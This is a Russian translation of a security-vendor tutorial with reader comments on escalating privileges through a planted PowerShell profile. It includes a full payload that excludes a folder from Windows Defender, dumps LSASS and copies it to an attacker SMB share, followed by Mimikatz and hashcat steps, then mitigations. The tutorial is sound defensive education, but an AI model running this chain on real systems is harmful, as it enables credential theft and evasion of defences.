Метод повышения привилегий, продемонстрированный в этой статье, является вариантом, используемым шпионскими группами. В нем описывается возможность использования злоумышленниками встроенных функций PowerShell для выполнения произвольных команд в контексте с повышенными правами (правами Администратора). Ниже приведена демонстрация извлечения хэшей NTLM.
Согласно определению фреймворка MITRE ATT&CK:
Действие-инициируемое событием: Злоумышленники могут получить доступ внутрь инфраструктуры и повысить привилегии, исполняя вредоносный контент, запускаемый профилями PowerShell. Профиль PowerShell (profile.ps1) — это скрипт, который запускается при запуске PowerShell и может использоваться в качестве скрипта входа в систему для настройки пользовательских сред… Злоумышленники могут изменять эти профили для включения произвольных команд, функций, модулей и / или дисков PowerShell для сохранения своего присутствия внутри инфраструктуры.
Как происходит атака
В приведенном ниже примере ничего не подозревающий пользователь запускает PowerShell с правами локального администратора.
Сессия не кажется необычной для пользователя. Но после изучения профиля PowerShell мы видим хешированные пароли, отправленные на сервер злоумышленника. Атака полностью прозрачна для данного пользователя.
Идеальные условия для этой атаки:
- Привилегии локального администратора: с учетными записями локального администратора сессии PowerShell запускаются с низкими привилегиями, а с помощью прав администратора предоставляется общий доступ к profile.ps1. Злоумышленник с удаленным доступом может использовать файл profile.ps1, выполняемый в сессии Администратора PowerShell.
- Разрешительные политики выполнения PowerShell: Execution Policy в итоге определит, возможна ли атака. Если выполнение скриптов разрешено, то файл profile.ps1 будет выполняться только в сессии администратора PowerShell.
Топология сети включает компьютер с Windows 10 и Kali Linux, подключенный к одному маршрутизатору (как показано ниже):
Что такое PowerShell Execution Policies?
Как сказано в документации Microsoft:
Политика выполнения PowerShell — это функция безопасности, которая контролирует условия, при которых PowerShell загружает файлы конфигурации и запускает скрипты… Политика выполнения не является системой безопасности, которая ограничивает действия пользователя… Наоборот, политика выполнения помогает пользователям устанавливать базовые правила и оберегает их от случайного нарушения данных правил.
В Windows 10 значение «Undefined» установлено по умолчанию для каждой политики. Однако пользователи часто изменяют политики CurrentUser и LocalMachine, чтобы разрешить выполнение скриптов. Разрешающие политики, такие как RemoteSigned, Unrestricted или Bypass, в свою очередь, делают возможным повышение привилегий.
Используйте команду Get-ExecutionPolicy -List для просмотра текущих значений политик:
PS C:\Users\varonis> Get-ExecutionPolicy -List
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser Undefined
LocalMachine RemoteSigned
Что такое профили PowerShell?
Профили PowerShell – это скрипты, которые выполняются в каждой новой сеcсии PowerShell. Сюда входят сессии PowerShell ISE и Visual Studio. Это удобный способ для пользователей и разработчиков загружать пользовательские функции и модули в новую PS сессию.
Возможно использовать переменную $PROFILE, чтобы просмотреть путь к профилю сессии:
Посмотрим содержимое файла с помощью команды Get-Content:
PS C:\Users\varonis> Get-Content $PROFILE
Если каталог не существует, злоумышленник может создать его как скрытую папку, чтобы избежать обнаружения:
PS C:\Users\varonis> cd $env:USERPROFILE;$d="Documents\WindowsPowerShell\";New-Item -ItemType Directory -Name "$d";$h=Get-Item "$d";$h.Attributes="Hidden"
Если файла PS1 не существует, его необходимо создать. Так как для сброса паролей требуются повышенные привилегии, это эффективный способ предотвратить выполнение полезной нагрузки в контекстах с низким уровнем привилегий.
PS C:\Users\varonis> echo 'if (whoami /groups | findstr /i "S-1-16-12288"){ echo "I AM ADMIN!" }' > $PROFILE
На первый взгляд, это не кажется большой проблемой. Важно понимать, что злоумышленник может изменить файл, автоматически выполняемый при запуске сессии администратора PowerShell. Попробуйте заменить echo командой для отключения Брэндмауэра Windows или сброса паролей.
Проведение атаки
Давайте используем то, что мы знаем о профилях PowerShell, чтобы показать, как злоумышленник может извлекать хешированные пароли. Для этого, в Kali начните с создания рабочего каталога для хранения нескольких файлов.
tokyoneon@varonis:~$ mkdir /tmp/evilshare; cd /tmp/evilshare
Загрузите последнюю версию Procdump:
tokyoneon@varonis:/tmp/evilshare$ wget 'https://download.sysinternals.com/files/Procdump.zip'
Разархивируйте запакованный файл, чтобы найти разные версии Procdump. Атака, описанная в этой статье, будет использовать procdump.exe:
tokyoneon@varonis:/tmp/evilshare$ unzip Procdump.zip
Загрузите скрипт, который мы создали, и сохраните его с именем “payload”. Используйте команду ниже или возьмите ее на этом GitHub. Измените IP-адрес $server в “payload” на адрес вашей машины с Kali:
<stokyoneon@varonis:/tmp/evilshare$ wget 'https://git.io/Jkc9d' -O payload
“Payload” содержит несколько простых команд. Командлет Add-MpPreference добавляет $env:TEMP в список исключений Брэндмауэра Windows. Это предотвратит обнаружение Брэндмаэром файла procdump.exe или дампа памяти LSASS. Действуя как альтернатива Invoke-WebRequest, esentutl.exe загрузит procdump.exe из SMB-шары злоумышленника. Procdump выполняет и сохраняет дамп LSASS в $ env:TEMP. Он заархивирован с помощью Compress-Archive и был украден на SMB-шару с помощью команды cp.
Для наглядности мы добавили к payload комментарии:
# an if statement to prevent the attack from executing without administrator privileges
if (whoami /groups | findstr /i "S-1-16-12288")
{
# start the attack as a background processs to prevent the PS terminal from stalling when opened
Start-Job {
# where to write data during the attack?
$temp = "$env:TEMP"
# create path exclusion in Windows Defender to prevent procdump detection
Add-MpPreference -ExclusionPath $temp
# sleep several seconds to allow the path exclusion to take effect
Start-Sleep -s 4
# the attacker's IP address
$server = "192.168.56.101"
# the attacker's SMB share name, must match impacket-smbserver share name
$share = "evilshare"
# procdump filename as it appears on the attacker's SMB share
$procdump = "procdump.exe"
# procdump.exe is saved locally with a random string as the filename
$filename = (-join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ })) + '.exe'
# the procdump output path when saved locally; shameless username plug
$dump = "tokyoneon.dmp"
# as the procdump output contains non-ascii characters, it must be compressed before exfiltrating
$exfil = "$env:COMPUTERNAME-$env:USERNAME-lsass.zip"
# rather than use invoke-webrequest, use an alternate LOLBAS for file retrieval
esentutl.exe /y \\$server\$share\$procdump /d $temp\$filename /o
# execute procdump and dump LSASS memory
& $temp\$filename -accepteula -ma lsass.exe $temp\$dump
# suppress progress bar that appears in the terminal when compressing the dump
$ProgressPreference = "SilentlyContinue"
# compress the dump
Compress-Archive -Path $temp\$dump -DestinationPath $temp\$exfil -Force
# exfiltrate the compressed dump to the attacker's SMB share via cp
cp $temp\$exfil \\$server\$share\$exfil } | Out-Null
}
Запустите impacket-smbserver для обработки полезной нагрузки и ожидания входящих дампов LSASS. Терминал должен оставаться открытым на время проведения атаки:
tokyoneon@varonis:/tmp/evilshare$ sudo impacket-smbserver -smb2support evilshare "$PWD"
В Windows добавьте payload в соответствующий $PROFILE. Это можно сделать через обратный shell или бэкдор, но для простоты используйте терминал PS. Измените переменную $attacker в следующей команде IP-адрес Kali:
PS C:\Users\varonis> cp \\$attacker\evilshare\payload $PROFILE
Когда жертва запускает новую сессию Администратора PowerShell, impacket-smbserver будет отображаться, как показано ниже:
В выводе impacket-smbserver появляются два отдельных приглашения «AUTHENTICATE_MESSAGE»: ОС жертвы, получающая файл procdump.exe, и сжатый дамп LSASS, доставленный на сервер. После второго сообщения подождите несколько секунд и дважды нажмите Ctrl + С, чтобы убить сервер Impacket. В текущем каталоге появится новый ZIP-файл. Разархивируйте его и найдите DMP-файл.
Извлечение хэшей паролей с помощью Mimikatz
Хешированные пароли в DMP-файле не читаются как открытый текст. Переместите DMP-файл на виртуальную машину Windows 10 с выключенным Брандмауэром Windows. Загрузите последнюю версию Mimikatz (mimikatz_trunk.zip) и сохраните ее в папке «Загрузки» в Windows.
Откройте терминал PowerShell и распакуйте ZIP с помощью следующей команды:
PS > Expand-Archive -Path $env:USERPROFILE\Dow
nloads\mimikatz_trunk.zip -DestinationPath $env:USERPROFILE\mimikatzПерейдите в каталог x64 и запустите mimikatz.exe:
PS C:\Users\tokyoneon> cd $env:USERPROFILE\mimikatz\x64\; .\mimikatz.exe
Загрузите DMP данные в Mimikatz с помощью команды sekurlsa::minidump:
mimikatz # sekurlsa::minidump C:\PATH\TO\YOUR\DUMP\tokyoneon.dmp
Воспользуйтесь командой sekurlsa::logonPasswords, чтобы извлечь хэши учетных данных. Обратите внимание на NTLM-хэш в строке 12:
mimikatz # sekurlsa::logonPasswords
Opening : 'Z:\lsass_dumps\tokyoneon.dmp' file for minidump...
1 Authentication Id : 0 ; 188563 (00000000:0002e093)
2 Session : Interactive from 1
3 User Name : varonis
4 Domain : DESKTOP-JI80T34
5 Logon Server : DESKTOP-JI80T34
6 Logon Time : 11/15/2020 9:56:57 PM
7 SID : S-1-5-21-3489785614-2607058550-4100802712-1001
8 msv :
9 [00000003] Primary
10 * Username : varonis
11 * Domain : DESKTOP-JI80T34
12 * NTLM : 2ba9afd0306922f6aed8c6a2406ddab5
13 * SHA1 : 33b282eb0ba4e815a93f95d0c5321c5e8d76997f
14 tspkg :
15 wdigest :
16 * Username : varonis
17 * Domain : DESKTOP-JI80T34
18 * Password : (null)
19 kerberos :
20 * Username : varonis
21 * Domain : DESKTOP-JI80T34
22 * Password : (null)
23 ssp :
24 credman :
25 cloudap :
----- [truncated] -----
59 Authentication Id : 0 ; 999 (00000000:000003e7)
60 Session : UndefinedLogonType from 0
61 User Name : DESKTOP-JI80T34$
62 Domain : WORKGROUP
63 Logon Server : (null)
64 Logon Time : 11/15/2020 9:56:50 PM
65 SID : S-1-5-18
66 msv :
67 tspkg :
68 wdigest :
69 * Username : DESKTOP-JI80T34$
70 * Domain : WORKGROUP
71 * Password : (null)
72 kerberos :
73 * Username : desktop-ji80t34$
74 * Domain : WORKGROUP
75 * Password : (null)
76 ssp :
77 credman :
78 cloudap :
mimikatz #
Взлом NTLM-хэшей с помощью Hashcat
Теперь скажем пару слов о другом инструменте для тестирования на проникновение – Hashcat. Даже в 2020 году люди используют слабые пароли для защиты своих данных и учетных записей. Используя последнюю версию Hashcat и обычный графический процессор GTX 1060 потребовалась одна секунда, чтобы взломать хэш, содержащий семь символов.
tokyoneon@hades:~$ hashcat /tmp/hash.txt -w 4 -O -m 1000 -a 3 ?l?l?l?l?l?l?l
Обнаружение и Устранение
В соответствии с рекомендациями MITRE ATT & CK Framework:
Отслеживайте местоположения профиля. Дополнительные меры также включают:
- Подписание кода: принудительное выполнение только подписанных скриптов PowerShell. Подпишите профили, чтобы избежать их изменения;
- Ограничение прав доступа для файлов и каталогов: если профили PowerShell могут быть изменены только определенными администраторами, это ограничит возможность для злоумышленников легко попадать и сохранять присутсвие на уровне пользователя;
- Конфигурация ПО: не используйте профили PowerShell, если они не нужны. Используйте флаг -NoProfile при удаленном выполнении скриптов PowerShell, чтобы предотвратить запуск локальных профилей.
Заключение
Эта атака на NTLM-хэши иллюстрирует опасность чрезмерно разрешительной политики в сочетании с использованием учетных записей локальных администраторов. Также подробно описано, как злоумышленник может заставить администратора извлечь хэши NTLM, легко изменить полезные данные и повысить уровень привилегий до NT AUTHORITY \ SYSTEM с помощью PsExec. См. Дополнительные советы для пентестеров, использующих PowerShell.
Комментарии (8)
ComodoHacker
31.12.2021 13:41Зачем делать плохой перевод, если можно написать на хорошем русском? Это же ваша статья. Или у вас нет сотрудников с хорошим знанием русского?
Varonis Автор
31.12.2021 14:00-1Что конкретно в нашем переводе вы считаете плохим? Давайте конкретику, иначе ваш комментарий не несёт в себе никакого смысла и пользы.
mixsture
31.12.2021 17:37+1Имхо, весь разговор о profile.ps1 абсолютно идентичен bashrc в линукс.
Да, туда можно вставить вредоносный код. Но эта штука лежит в пользовательских директориях и требует прав записи туда. Т.е. до начала уже надо либо быть этим пользователем (владельцем), либо иметь адм права.
Т.е. применимо скорее как средство сокрытия своего присутствия, а вовсе не проникновения/повышения прав.mayorovp
01.01.2022 20:30Эта штука может использоваться для обхода UAC, т.е. повышения прав от ограниченной учётной записи админа до полной.
AlexeyK77
Мораль: если малварь смогла запуститься под правами локального админа, то уже поздняк метаться и вариантов доломать систему миллион. Т.е. бороться за живучесть системы результативнее в юзерспейсе, чем на высоких привелегиях. А если бой за хост проигран, стараться минимизировать дальнейшую эскалацию атаки по сети и как можно быстрее обнаружить и изолировать погибший в неравной схватке ендпоинт.
ComodoHacker
По-моему, вы не поняли суть из-за плохого перевода.
Малварь без прав админа меняет profile.ps1, это некий аналог autoexec.bat. А затем PowerShell, запущенный под админом, его исполняет.
Причем, если я правильно понял оригинал, в конфигурации по умолчанию даже не исполняет. А исполняет, если ослабить политику. Но многие это делают, чтобы подключать полезные third-party коммандлеты в каждую сессию PowerShell.
AlexeyK77
я еще не проверял лично, но в доке микрософта написано, что PROFILE обычно расположен в пользовательской home-диреткории (для каждого пользователя она своя) или указывает на системный каталог, где размещен сам повершелл ( и куда обычный юзер писать не сможет). Т.е что-бы из под юзера подложить свой profile под повершелл админа, надо иметь соответствующие права на создания файла.
Я не то что бы отрицаю, но нужна проверка предусловий для эксплуатации этого вектора атаки.
ComodoHacker
Насколько я понял, сценарий такой. Юзер и так админ, во всяком случае может повышать права до админских. Малварь (без админских прав) меняет юзерский $PROFILE, не системный. Затем юзер, которому надо что-то поадминить, запускает PowerShell с повышением прав (или по привычке всегда запускает с повышением), и payload исполняется.
В общем, весьма специфические условия для эксплуатации.